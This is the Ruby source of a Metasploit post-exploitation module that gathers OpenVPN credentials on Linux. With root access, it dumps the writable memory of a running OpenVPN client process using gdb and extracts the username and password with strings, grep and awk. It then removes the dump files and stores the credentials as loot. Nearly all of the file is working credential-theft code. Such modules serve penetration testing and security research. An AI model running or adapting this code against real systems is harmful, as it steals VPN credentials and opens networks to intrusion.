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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Linux::Priv
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  include Msf::Post::Linux::System
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'OpenVPN Gather Credentials',
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        'Description' => %q{
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          This module grab OpenVPN credentials from a running process
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          in Linux.
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          Note: --auth-nocache must not be set in the OpenVPN command line.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'rvrsh3ll', # Discovery
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          'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
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        ],
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        'Platform' => ['linux'],
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        'SessionTypes' => ['shell', 'meterpreter'],
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        'References' => [
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          ['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
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      OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
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    ])
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  end
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  def pid
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    datastore['PID']
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  end
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  def tmp_path
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    datastore['TMP_PATH']
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  end
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  def run
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    user = cmd_exec('/usr/bin/whoami')
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    print_good("Module running as \"#{user}\" user")
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    unless is_root?
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      print_error('This module requires root permissions.')
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      return
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    end
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    cmd = "/bin/grep rw-p /proc/#{pid}/maps | "
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    cmd << 'sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | '
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    cmd << "while read start stop; do /usr/bin/gdb --batch-silent --silent --pid #{pid} -ex \"dump memory #{tmp_path}#{pid}-$start-$stop.dump 0x$start 0x$stop\"; done 2>/dev/null; echo $?"
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    dump = cmd_exec(cmd)
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    if dump.chomp.to_i != 0
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      print_warning('Could not dump process.')
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      return
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    end
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    vprint_good('Process dumped successfully.')
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    strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ  | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
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    deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
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    if deldump.chomp.to_i == 0
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      vprint_good('Removing temp files successfully.')
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    else
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      print_warning('Could not remove dumped files. Remove manually.')
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    end
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    fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
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    vprint_good("OpenVPN Credentials:\n#{strings}")
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    p = store_loot(
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      'openvpn.grab',
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      'text/plain',
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      session,
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      strings,
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      nil
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    )
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    print_status("OpenVPN Credentials stored in #{p}")
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  end
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end
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